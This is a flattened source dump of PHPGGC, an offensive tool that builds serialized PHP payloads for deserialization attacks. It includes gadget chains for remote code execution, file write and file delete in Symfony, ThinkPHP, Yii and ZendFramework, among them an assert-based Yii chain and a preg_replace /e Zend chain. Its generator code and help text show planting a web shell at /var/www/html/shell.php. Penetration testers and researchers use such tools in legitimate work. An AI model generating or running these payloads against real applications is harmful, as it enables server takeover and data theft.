__construct($_path) 132 | { 133 | $this->_path = $_path; 134 | } 135 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | token = uniqid(); 19 | $this->ip = new \Symfony\Component\Finder\Expression\Expression( 20 | $path, $content 21 | ); 22 | } 23 | } 24 | } 25 | 26 | namespace Symfony\Component\Finder\Expression 27 | { 28 | class Expression 29 | { 30 | private $value; 31 | 32 | function __construct($path, $content) 33 | { 34 | $this->value = new \Symfony\Component\Console\Helper\Table( 35 | $path, $content 36 | ); 37 | } 38 | } 39 | } 40 | 41 | namespace Symfony\Component\Console\Helper 42 | { 43 | class Table 44 | { 45 | private $headers = ['a']; 46 | private $rows = []; 47 | private $columnWidths = [100]; 48 | private $numberOfColumns; 49 | private $output; 50 | private $style; 51 | private static $styles; 52 | 53 | function __construct($path, $content) 54 | { 55 | $this->output = new \Symfony\Component\Config\ConfigCache($path); 56 | $this->style = new TableStyle($content); 57 | } 58 | } 59 | 60 | class TableStyle 61 | { 62 | private $paddingChar = ' '; 63 | private $horizontalBorderChar = ''; 64 | private $verticalBorderChar; 65 | private $crossingChar = ''; 66 | private $cellHeaderFormat = '%s'; 67 | private $cellRowFormat = '%s'; 68 | private $cellRowContentFormat = ' %s '; 69 | private $borderFormat = '%s'; 70 | private $padType = STR_PAD_RIGHT; 71 | 72 | function __construct($verticalBorderChar) 73 | { 74 | $this->verticalBorderChar = $verticalBorderChar; 75 | } 76 | } 77 | } 78 | 79 | namespace Symfony\Component\Config 80 | { 81 | class ConfigCache 82 | { 83 | private $debug; 84 | private $file; 85 | 86 | function __construct($file) 87 | { 88 | $this->file = $file; 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | deferred = $code; 36 | $this->namespace = []; 37 | } 38 | } 39 | 40 | class ApcuAdapter extends AbstractAdapter 41 | { 42 | } 43 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\ProcessPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process{ 38 | class ProcessPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\Pipes\WindowsPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process\Pipes{ 38 | class WindowsPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FD/1/chain.php: -------------------------------------------------------------------------------- 1 | files = array($files); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | "test"),$query); 35 | $pivot = new \think\model\Pivot($output, $relation); 36 | return new \think\process\pipes\Windows($pivot); 37 | } 38 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | files = array($files); 16 | } 17 | } 18 | } 19 | 20 | namespace think\model\relation{ 21 | use think\model\Relation; 22 | 23 | abstract class OneToOne extends Relation { 24 | protected $bindAttr = []; 25 | function __construct($bindAttr, $selfRelation, $query) 26 | { 27 | $this->bindAttr = $bindAttr; 28 | parent::__construct($selfRelation, $query); 29 | } 30 | } 31 | 32 | class HasOne extends OneToOne { 33 | function __construct($bindAttr, $query) 34 | { 35 | parent::__construct($bindAttr, false, $query); 36 | } 37 | } 38 | } 39 | 40 | namespace think\db { 41 | class Query { 42 | protected $model; 43 | 44 | function __construct($model) 45 | { 46 | $this->model = $model; 47 | } 48 | } 49 | } 50 | 51 | namespace think { 52 | abstract class Model{ 53 | protected $append = []; 54 | protected $data = []; 55 | protected $error = null; 56 | protected $parent; 57 | 58 | function __construct($output, $modelRelation) 59 | { 60 | $this->parent = $output; 61 | $this->data = array("wh1t3p1g"=>""); 62 | $this->append = array("wh1t3p1g"=>"getError"); 63 | $this->error = $modelRelation; 64 | } 65 | } 66 | } 67 | 68 | namespace think\model { 69 | 70 | class Relation{ 71 | protected $selfRelation; 72 | protected $query; 73 | 74 | function __construct($selfRelation, $query){ 75 | $this->query = $query; 76 | $this->selfRelation = $selfRelation; 77 | } 78 | } 79 | 80 | class Pivot extends \think\Model{ 81 | function __construct($output, $modelRelation) 82 | { 83 | parent::__construct($output, $modelRelation); 84 | } 85 | } 86 | } 87 | 88 | namespace think\console { 89 | class Output { 90 | protected $styles = []; 91 | private $handle = null; 92 | function __construct($handle){ 93 | $this->styles = array("getAttr"); 94 | $this->handle = $handle; 95 | } 96 | } 97 | } 98 | 99 | namespace think\session\driver { 100 | class SessionHandler {} 101 | 102 | class Memcache extends SessionHandler { 103 | 104 | protected $handler = null; 105 | protected $config = []; 106 | 107 | function __construct($handle, $filename){ 108 | $this->handler = $handle; 109 | $this->config = array("session_name"=>$filename,"expire"=>"test"); 110 | } 111 | } 112 | } 113 | 114 | namespace think\cache { 115 | abstract class Driver{ 116 | protected $tag; 117 | } 118 | } 119 | 120 | 121 | namespace think\cache\driver { 122 | use think\cache\Driver; 123 | 124 | class File extends Driver { 125 | protected $options = []; 126 | 127 | function __construct($remote_path,$content){ 128 | $this->options = array("path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content,"cache_subdir"=>null,"prefix"=>null,"data_compress"=>null); 129 | $this->tag = true; 130 | } 131 | } 132 | 133 | class Lite extends Driver{ 134 | protected $options = []; 135 | 136 | function __construct($remote_path, $content) 137 | { 138 | $this->options = array( 139 | "path"=>"php://filter/write=string.rot13/resource=".$remote_path.$content, 140 | "prefix"=>null, 141 | ); 142 | $this->tag = true; 143 | } 144 | } 145 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | files = $files; 16 | } 17 | } 18 | } 19 | 20 | namespace think\model\concern { 21 | trait Conversion{ 22 | protected $visible; 23 | } 24 | 25 | trait RelationShip{ 26 | private $relation; 27 | } 28 | 29 | trait Attribute{ 30 | private $withAttr; 31 | private $data; 32 | } 33 | } 34 | 35 | namespace think { 36 | abstract class Model{ 37 | use model\concern\RelationShip; 38 | use model\concern\Conversion; 39 | use model\concern\Attribute; 40 | 41 | function __construct($closure) 42 | { 43 | $this->data = array("wh1t3p1g"=>[]); 44 | $this->relation = array("wh1t3p1g"=>[]); 45 | $this->visible= array("wh1t3p1g"=>[]); 46 | $this->withAttr = array("wh1t3p1g"=>$closure); 47 | } 48 | } 49 | } 50 | 51 | namespace think\model { 52 | class Pivot extends \think\Model{ 53 | function __construct($closure) 54 | { 55 | parent::__construct($closure); 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | data = array("wh1t3p1g"=>[]); 48 | $this->relation = array("wh1t3p1g"=>[]); 49 | $this->visible= array("wh1t3p1g"=>[]); 50 | $this->withAttr = array("wh1t3p1g"=>$closure); 51 | }else{ 52 | $this->lazySave = true; 53 | $this->withEvent = false; 54 | $this->exists = true; 55 | $this->force = true; 56 | $this->data = array("wh1t3p1g"=>[]); 57 | $this->connection = "mysql"; 58 | $this->suffix = $obj; 59 | } 60 | 61 | } 62 | } 63 | 64 | } 65 | 66 | namespace think\model { 67 | class Pivot extends \think\Model{ 68 | 69 | function __construct($obj, $closure) 70 | { 71 | parent::__construct($obj, $closure); 72 | } 73 | } 74 | } -------------------------------------------------------------------------------- /gadgetchains/Yii/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | params = $params; 10 | } 11 | } 12 | 13 | class CList 14 | { 15 | /** 16 | * @var array internal data storage 17 | */ 18 | private $_d; 19 | 20 | function __construct($_d) 21 | { 22 | $this->_d = $_d; 23 | } 24 | } 25 | 26 | class CFileCache 27 | { 28 | public $keyPrefix = ''; 29 | public $hashKey = false; 30 | public $serializer = [1 => 'assert']; 31 | 32 | public $cachePath = 'data:text/'; 33 | public $directoryLevel = 0; 34 | public $embedExpiry = true; 35 | public $cacheFileSuffix; 36 | 37 | function __construct($cacheFileSuffix) 38 | { 39 | $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix; 40 | } 41 | } -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | = 7.0.0 14 | - Payload gets executed twice 15 | '; 16 | 17 | public function generate(array $parameters) 18 | { 19 | $code = $parameters['code']; 20 | 21 | return new \Zend_Log( 22 | [new \Zend_Log_Writer_Mail( 23 | [1], 24 | [], 25 | new \Zend_Mail, 26 | new \Zend_Layout( 27 | new \Zend_Filter_PregReplace( 28 | "/(.*)/e", 29 | $code 30 | ), 31 | true, 32 | "layout" 33 | ) 34 | )] 35 | ); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | _writers = $x; 10 | } 11 | } 12 | 13 | class Zend_Log_Writer_Mail 14 | { 15 | protected $_eventsToMail; 16 | protected $_layoutEventsToMail; 17 | protected $_mail; 18 | protected $_layout; 19 | protected $_subjectPrependText; 20 | 21 | public function __construct( 22 | $eventsToMail, 23 | $layoutEventsToMail, 24 | $mail, 25 | $layout 26 | ) { 27 | $this->_eventsToMail = $eventsToMail; 28 | $this->_layoutEventsToMail = $layoutEventsToMail; 29 | $this->_mail = $mail; 30 | $this->_layout = $layout; 31 | $this->_subjectPrependText = null; 32 | } 33 | } 34 | 35 | class Zend_Mail 36 | {} 37 | 38 | class Zend_Layout 39 | { 40 | protected $_inflector; 41 | protected $_inflectorEnabled; 42 | protected $_layout; 43 | 44 | public function __construct( 45 | $inflector, 46 | $inflectorEnabled, 47 | $layout 48 | ) { 49 | $this->_inflector = $inflector; 50 | $this->_inflectorEnabled = $inflectorEnabled; 51 | $this->_layout = $layout; 52 | } 53 | } 54 | 55 | class Zend_Filter_PregReplace 56 | { 57 | protected $_matchPattern; 58 | protected $_replacement; 59 | 60 | public function __construct( 61 | $matchPattern, 62 | $replacement 63 | ) { 64 | $this->_matchPattern = $matchPattern; 65 | $this->_replacement = $replacement; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /lib/PHPGGC.php: -------------------------------------------------------------------------------- 1 | base = realpath(dirname(dirname(__FILE__))); 19 | spl_autoload_register(array($this, 'autoload')); 20 | $this->chains = $this->get_gadget_chains(); 21 | } 22 | 23 | /** 24 | * Generates a payload from the command line arguments. 25 | * First, the gadget is loaded, and then it is generated using additional 26 | * arguments. 27 | */ 28 | public function generate() 29 | { 30 | global $argv; 31 | 32 | $parameters = $this->parse_cmdline($argv); 33 | if(count($parameters) < 1) 34 | { 35 | $this->help(); 36 | return; 37 | } 38 | 39 | $class = array_shift($parameters); 40 | $gc = $this->get_gadget_chain($class); 41 | 42 | if(@$this->arguments['informations']) 43 | { 44 | $this->o($gc, 2); 45 | $this->o($this->_get_command_line_gc($gc)); 46 | } 47 | else 48 | { 49 | $parameters = $this->get_type_parameters($gc, $parameters); 50 | $generated = $this->serialize($gc, $parameters); 51 | print($generated . "\n"); 52 | } 53 | } 54 | 55 | /** 56 | * Gets an instance of the given GadgetChain class. 57 | */ 58 | public function get_gadget_chain($class) 59 | { 60 | $full = strtolower('GadgetChain/' . $class); 61 | 62 | if(!in_array($full, array_keys($this->chains))) 63 | { 64 | throw new PHPGGC\Exception('Unknown gadget chain: ' . $class); 65 | } 66 | 67 | return $this->chains[$full]; 68 | } 69 | 70 | /** 71 | * Generates the serialized payload from given gadget and parameters. 72 | */ 73 | public function serialize($gc, $parameters) 74 | { 75 | $gc->load_gadgets(); 76 | 77 | $parameters = $gc->pre_process($parameters); 78 | $payload = $gc->generate($parameters); 79 | $payload = $this->wrap($payload); 80 | 81 | $serialized = serialize($payload); 82 | 83 | $serialized = $gc->post_process($serialized); 84 | $serialized = $this->apply_filters($serialized); 85 | 86 | return $serialized; 87 | } 88 | 89 | /** 90 | * Includes every file that might contain a gadget. 91 | */ 92 | protected function include_gadget_chains() 93 | { 94 | $base = $this->base . self::DIR_GADGETCHAINS; 95 | $files = glob($base . '/*/*/*/chain.php'); 96 | array_map(function ($file) 97 | { 98 | include_once $file; 99 | }, $files); 100 | } 101 | 102 | /** 103 | * Loads every available gadget and returns an array of the form 104 | * class_name => object. 105 | */ 106 | public function get_gadget_chains() 107 | { 108 | $this->include_gadget_chains(); 109 | 110 | $classes = get_declared_classes(); 111 | $classes = array_filter($classes, function($class) 112 | { 113 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && 114 | strpos($class, 'GadgetChain\\') === 0; 115 | }); 116 | $objects = array_map(function($class) 117 | { 118 | return new $class(); 119 | }, $classes); 120 | 121 | # Convert backslashes in classes names to forward slashes, 122 | # so that the command line is easier to use 123 | $classes = array_map(function($class) 124 | { 125 | return strtolower(str_replace('\\', '/', $class)); 126 | }, $classes); 127 | return array_combine($classes, $objects); 128 | } 129 | 130 | /** 131 | * Includes a PHP file containing a wrapper($data) function. 132 | * This method will be called after the gadget chain has been generated, 133 | * and before serialize() is called, in order to modify the payload if 134 | * need be. 135 | */ 136 | public function set_wrapper($file) 137 | { 138 | include $file; 139 | $this->_has_wrapper = true; 140 | } 141 | 142 | /** 143 | * Wraps the payload into something else if the user required it. 144 | * For instance, if a specific unserialize call requires an array, one could 145 | * build a wrapper function of the likes: 146 | * 147 | * function wrapper($description) 148 | * { 149 | * return array('id' => '123', 'data' => $description['payload']); 150 | * } 151 | * 152 | * The returned serialized payload would be an array which contains the 153 | * payload under the key "data". 154 | */ 155 | public function wrap($payload) 156 | { 157 | if(isset($this->_has_wrapper)) 158 | { 159 | $payload = call_user_func('wrapper', $payload); 160 | } 161 | 162 | return $payload; 163 | } 164 | 165 | /** 166 | * Autoloads PHPGGC base classes only, in order to avoid conflict between 167 | * different gadget chains. 168 | */ 169 | public function autoload($class) 170 | { 171 | if(strpos($class, 'PHPGGC\\') === 0) 172 | { 173 | $file = str_replace('\\', '/', $class) . '.php'; 174 | include_once $this->base . self::DIR_LIB . '/' . $file; 175 | } 176 | } 177 | 178 | /** 179 | * Creates the file structure for a new gadgetchain targeting $name and of 180 | * type $type. 181 | */ 182 | function new_gc($name, $type) 183 | { 184 | $namespace = '\\PHPGGC\\GadgetChain'; 185 | 186 | # Check type 187 | 188 | $type = strtoupper($type); 189 | $reflection = new ReflectionClass($namespace); 190 | $constant = 'TYPE_' . $type; 191 | $value = $reflection->getConstant($constant); 192 | 193 | if($value === false) 194 | { 195 | $this->o('Invalid type: ' . $type); 196 | exit(0); 197 | } 198 | 199 | # Match base class from type 200 | 201 | $base = $this->base . self::DIR_BASE_GADGETCHAINS; 202 | $files = glob($base . '/*.php'); 203 | 204 | foreach($files as $file) 205 | { 206 | $classname = substr(basename($file), 0, -4); 207 | $classname = $namespace . '\\' . $classname; 208 | $reflection = new ReflectionClass($classname); 209 | 210 | if($reflection->getProperty('type')->getValue() === $value) 211 | { 212 | $baseclass = $reflection; 213 | break; 214 | } 215 | } 216 | 217 | if(!isset($baseclass)) 218 | { 219 | $this->o('No base class for type: ' . $type); 220 | exit(0); 221 | } 222 | 223 | # Create directory structure 224 | 225 | $base = $this->base . self::DIR_GADGETCHAINS; 226 | $base = $base . '/' . $name . '/' . $type . '/'; 227 | 228 | for($i=1;file_exists($base . $i);$i++); 229 | 230 | $base = $base . $i; 231 | mkdir($base, 0777, true); 232 | 233 | $replacements = [ 234 | '{NAME}' => $name, 235 | '{CLASS_NAME}' => $type . $i, 236 | '{BASE_CLASS_NAME}' => $baseclass->getName() 237 | ]; 238 | 239 | $this->create_from_template($base, 'chain.php', $replacements); 240 | $this->create_from_template($base, 'gadgets.php'); 241 | 242 | # Display success message 243 | 244 | $full_name = $replacements['{NAME}'] . '\\' 245 | . $replacements['{CLASS_NAME}']; 246 | $base = substr($base, strlen($this->base) + 1); 247 | 248 | $this->o('Created ' . $full_name . ' under: ' . $base); 249 | 250 | exit(0); 251 | } 252 | 253 | /** 254 | * Creates a file in directory $path from template $name. 255 | */ 256 | function create_from_template($path, $name, $replacements=null) 257 | { 258 | $template = $this->base . self::DIR_TEMPLATES . '/' . $name; 259 | $template = file_get_contents($template); 260 | 261 | if($replacements) 262 | $template = strtr($template, $replacements); 263 | 264 | file_put_contents($path . '/' . $name, $template); 265 | } 266 | 267 | # 268 | # Display 269 | # 270 | 271 | /** 272 | * Displays a message. 273 | */ 274 | function output($message, $r=1) 275 | { 276 | $n = str_repeat("\n", $r); 277 | print($message . $n); 278 | } 279 | 280 | /** 281 | * Wrapper for output(). 282 | */ 283 | protected function o($message, $r=1) 284 | { 285 | $this->output($message, $r); 286 | } 287 | 288 | /** 289 | * Applies command line filters on the serialized payload. 290 | */ 291 | protected function apply_filters($serialized) 292 | { 293 | extract($this->arguments, EXTR_SKIP); 294 | 295 | if(@$base64) 296 | $serialized = base64_encode($serialized); 297 | if(@$urlencode) 298 | $serialized = urlencode($serialized); 299 | if(@$softencode) 300 | { 301 | $keys = str_split("%\x00\n\r\t+"); 302 | $values = array_map('urlencode', $keys); 303 | $serialized = str_replace($keys, $values, $serialized); 304 | } 305 | 306 | return $serialized; 307 | } 308 | 309 | /** 310 | * Generates an ASCII array. 311 | */ 312 | protected function table($titles, $data) 313 | { 314 | $titles = array_map('strtoupper', $titles); 315 | $data = array_merge([$titles], $data); 316 | $pad = array_fill(0, count($titles), 0); 317 | 318 | foreach($data as $row) 319 | { 320 | foreach($row as $i => $cell) 321 | { 322 | $pad[$i] = max($pad[$i], strlen($cell)); 323 | } 324 | } 325 | 326 | $array = ''; 327 | 328 | foreach($data as $row) 329 | { 330 | foreach($row as $i => $cell) 331 | { 332 | $array .= str_pad($cell, $pad[$i]) . ' '; 333 | } 334 | $array .= "\n"; 335 | } 336 | 337 | return $array; 338 | } 339 | 340 | protected function list_gc() 341 | { 342 | $this->o(""); 343 | $this->o("Gadget Chains"); 344 | $this->o("-------------", 2); 345 | 346 | $titles = [ 347 | 'Name', 348 | 'Version', 349 | 'Type', 350 | 'Vector', 351 | 'I' 352 | ]; 353 | 354 | $data = []; 355 | foreach($this->chains as $chain) 356 | { 357 | $data[] = [ 358 | $chain->get_name(), 359 | $chain->version, 360 | $chain::$type, 361 | $chain->vector, 362 | ($chain->informations ? '*' : '') 363 | ]; 364 | } 365 | 366 | $this->o($this->table($titles, $data)); 367 | 368 | exit(0); 369 | } 370 | 371 | protected function help() 372 | { 373 | $this->o(""); 374 | $this->o("PHPGGC: PHP Generic Gadget Chains"); 375 | $this->o("---------------------------------", 2); 376 | 377 | $this->o("USAGE"); 378 | $this->o(" " . $this->_get_command_line( 379 | '[-h|-l|-w|-h|-s|-u|-b|-i]', 380 | '', 381 | '[arguments]' 382 | ), 2); 383 | 384 | $this->o("INFORMATION"); 385 | $this->o(" -h Displays help"); 386 | $this->o(" -l Lists available gadget chains"); 387 | $this->o(" -i Displays informations about a gadget chain"); 388 | $this->o(""); 389 | $this->o("MODIFICATION"); 390 | $this->o(" -w "); 391 | $this->o(" Specifies a file containing a function: wrapper(\$payload)"); 392 | $this->o(" This function will be called before the generated gadget is serialized."); 393 | $this->o(""); 394 | $this->o("ENCODING"); 395 | $this->o(" -s Soft URLencode"); 396 | $this->o(" -u URLencodes the payload"); 397 | $this->o(" -b Converts the output into base64"); 398 | $this->o(""); 399 | 400 | $this->o("EXAMPLES"); 401 | $this->o(" " . $this->_get_command_line( 402 | 'Laravel/RCE1', 403 | '\'phpinfo().die();\'' 404 | )); 405 | $this->o(" " . $this->_get_command_line( 406 | 'SwiftMailer/FW1', 407 | '/var/www/html/shell.php', 408 | '/tmp/local_file_to_write' 409 | )); 410 | $this->o(""); 411 | 412 | exit(0); 413 | } 414 | 415 | /** 416 | * Parses the command line arguments. 417 | */ 418 | protected function parse_cmdline($argv) 419 | { 420 | unset($argv[0]); 421 | 422 | $valid_arguments = [ 423 | 'new' => true, 424 | 'informations' => false, 425 | 'help' => false, 426 | 'list' => false, 427 | 'wrapper' => true, 428 | 'softencode' => false, 429 | 'base64' => false, 430 | 'urlencode' => false, 431 | ]; 432 | 433 | $arguments = [ 434 | ]; 435 | 436 | $count = count($argv); 437 | 438 | foreach($argv as $i => $arg) 439 | { 440 | if($arg{0} == '-') 441 | { 442 | $arg = substr($arg, 1); 443 | $valid = false; 444 | 445 | foreach($valid_arguments as $argument => $has_parameter) 446 | { 447 | if($argument{0} == $arg) 448 | { 449 | $valid = true; 450 | 451 | if($has_parameter) 452 | { 453 | if($count < $i) 454 | { 455 | $e = 'Parameter ' . $arg . ' expects a value'; 456 | throw new \PHPGGC\Exception($e); 457 | } 458 | 459 | $arguments[$argument] = $argv[$i+1]; 460 | 461 | # Delete argument's value 462 | unset($argv[$i+1]); 463 | } 464 | else 465 | { 466 | $arguments[$argument] = true; 467 | } 468 | 469 | break; 470 | } 471 | } 472 | 473 | if(!$valid) 474 | { 475 | throw new PHPGGC\Exception('Unknown parameter: ' . $arg); 476 | } 477 | 478 | # Delete argument 479 | unset($argv[$i]); 480 | } 481 | } 482 | 483 | $argv = array_values($argv); 484 | 485 | # Handle optional arguments in case they need to be handled now. 486 | # Otherwise, just save them. 487 | 488 | foreach($arguments as $argument => $value) 489 | { 490 | switch($argument) 491 | { 492 | case 'new': 493 | if(count($argv) < 1) 494 | { 495 | $line = $this->_get_command_line(' '); 496 | $this->o($line); 497 | } 498 | else 499 | $this->new_gc($value, $argv[0]); 500 | 501 | break; 502 | case 'help': 503 | $this->help(); 504 | break; 505 | case 'list': 506 | $this->list_gc(); 507 | break; 508 | case 'wrapper': 509 | $this->set_wrapper($value); 510 | break; 511 | } 512 | } 513 | 514 | $this->arguments = $arguments; 515 | 516 | # Return remaining arguments 517 | return array_values($argv); 518 | } 519 | 520 | /** 521 | * Convert command line parameters into an array of named parameters, 522 | * specific to the type of payload. 523 | */ 524 | protected function get_type_parameters($gc, $parameters) 525 | { 526 | $arguments = $gc->parameters; 527 | 528 | $values = @array_combine($arguments, $parameters); 529 | 530 | if($values === false) 531 | { 532 | $this->o($gc, 2); 533 | $message = 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" 534 | . $this->_get_command_line_gc($gc); 535 | throw new PHPGGC\Exception($message); 536 | } 537 | 538 | return $values; 539 | } 540 | 541 | protected function _get_command_line_gc($gc) 542 | { 543 | $arguments = array_map(function ($a) { 544 | return '<' . $a . '>'; 545 | }, $gc->parameters); 546 | return $this->_get_command_line($gc->get_name(), ...$arguments); 547 | } 548 | 549 | private function _get_command_line(...$arguments) 550 | { 551 | return './phpggc ' . implode(' ', $arguments); 552 | } 553 | } -------------------------------------------------------------------------------- /lib/PHPGGC/Exception.php: -------------------------------------------------------------------------------- 1 | $this->get_name(), 28 | 'Version' => $this->version, 29 | 'Type' => self::$type, 30 | 'Vector' => $this->vector 31 | ]; 32 | 33 | $strings = []; 34 | 35 | if($this->informations) 36 | { 37 | $informations = trim($this->informations); 38 | $informations = preg_replace("#\n\s+#", "\n", $informations); 39 | $infos['Informations'] = "\n" . $informations; 40 | } 41 | 42 | foreach($infos as $k => $v) 43 | { 44 | $strings[] = str_pad($k, 15) . ': ' . $v; 45 | } 46 | 47 | return implode("\n", $strings); 48 | } 49 | 50 | public function get_name() 51 | { 52 | $class = get_class($this); 53 | $class = substr($class, strpos($class, '\\') + 1); 54 | $class = str_replace('\\', '/', $class); 55 | return $class; 56 | } 57 | 58 | public function load_gadgets() 59 | { 60 | $file = dirname((new \ReflectionClass($this))->getFileName()); 61 | require $file . '/gadgets.php'; 62 | } 63 | 64 | /** 65 | * Modifies given parameters if required. 66 | */ 67 | public function pre_process(array $parameters) 68 | { 69 | return $parameters; 70 | } 71 | 72 | abstract public function generate(array $parameters); 73 | 74 | /** 75 | * Changes some values in the unserialize payload. 76 | * For instance, if a class is meant to be named A\B\C but has been named 77 | * A_B_C in the gadget for convenience, it can be str_replace()d here. 78 | */ 79 | public function post_process($payload) 80 | { 81 | return $payload; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /lib/PHPGGC/GadgetChain/FileDelete.php: -------------------------------------------------------------------------------- 1 | getClosureScopeClass(); 26 | 27 | $data = [ 28 | 'reflection' => $reflection, 29 | 'code' => $reflection->getCode(), 30 | 'hasThis' => $reflection->isBindingRequired(), 31 | 'context' => $reflection->getUseVariables(), 32 | 'hasRefs' => false, 33 | 'binding' => $reflection->getClosureThis(), 34 | 'scope' => $scope ? $scope->getName() : null, 35 | 'isStatic' => $reflection->isStatic(), 36 | ]; 37 | 38 | return $data; 39 | } 40 | 41 | /** 42 | * @param array $data 43 | * @return mixed 44 | */ 45 | protected function determineCode(array &$data) 46 | { 47 | return null; 48 | } 49 | 50 | /** 51 | * @param array $data 52 | * @return mixed 53 | */ 54 | protected function determineContext(array &$data) 55 | { 56 | return null; 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- /lib/opis/closure/src/ClosureContext.php: -------------------------------------------------------------------------------- 1 | scope = new ClosureScope(); 32 | $this->locks = 0; 33 | } 34 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/ClosureScope.php: -------------------------------------------------------------------------------- 1 | content = "length = strlen($this->content); 29 | return true; 30 | } 31 | 32 | public function stream_read($count) 33 | { 34 | $value = substr($this->content, $this->pointer, $count); 35 | $this->pointer += $count; 36 | return $value; 37 | } 38 | 39 | public function stream_eof() 40 | { 41 | return $this->pointer >= $this->length; 42 | } 43 | 44 | public function stream_stat() 45 | { 46 | $stat = stat(__FILE__); 47 | $stat[7] = $stat['size'] = $this->length; 48 | return $stat; 49 | } 50 | 51 | public function url_stat($path, $flags) 52 | { 53 | $stat = stat(__FILE__); 54 | $stat[7] = $stat['size'] = $this->length; 55 | return $stat; 56 | } 57 | 58 | public function stream_seek($offset, $whence = SEEK_SET) 59 | { 60 | $crt = $this->pointer; 61 | 62 | switch ($whence) { 63 | case SEEK_SET: 64 | $this->pointer = $offset; 65 | break; 66 | case SEEK_CUR: 67 | $this->pointer += $offset; 68 | break; 69 | case SEEK_END: 70 | $this->pointer = $this->length + $offset; 71 | break; 72 | } 73 | 74 | if ($this->pointer < 0 || $this->pointer >= $this->length) { 75 | $this->pointer = $crt; 76 | return false; 77 | } 78 | 79 | return true; 80 | } 81 | 82 | public function stream_tell() 83 | { 84 | return $this->pointer; 85 | } 86 | 87 | public static function register() 88 | { 89 | if (!static::$isRegistered) { 90 | static::$isRegistered = stream_wrapper_register(static::STREAM_PROTO, __CLASS__); 91 | } 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /lib/opis/closure/src/ISecurityProvider.php: -------------------------------------------------------------------------------- 1 | code = $code; 39 | parent::__construct($closure); 40 | } 41 | 42 | /** 43 | * @return bool 44 | */ 45 | public function isStatic() 46 | { 47 | if ($this->isStaticClosure === null) { 48 | $this->isStaticClosure = strtolower(substr($this->getCode(), 0, 6)) === 'static'; 49 | } 50 | 51 | return $this->isStaticClosure; 52 | } 53 | 54 | /** 55 | * @return string 56 | */ 57 | public function getCode() 58 | { 59 | if($this->code !== null){ 60 | return $this->code; 61 | } 62 | 63 | $fileName = $this->getFileName(); 64 | $line = $this->getStartLine() - 1; 65 | 66 | $match = ClosureStream::STREAM_PROTO . '://'; 67 | 68 | if ($line === 1 && substr($fileName, 0, strlen($match)) === $match) { 69 | return $this->code = substr($fileName, strlen($match)); 70 | } 71 | 72 | $className = null; 73 | 74 | 75 | if (null !== 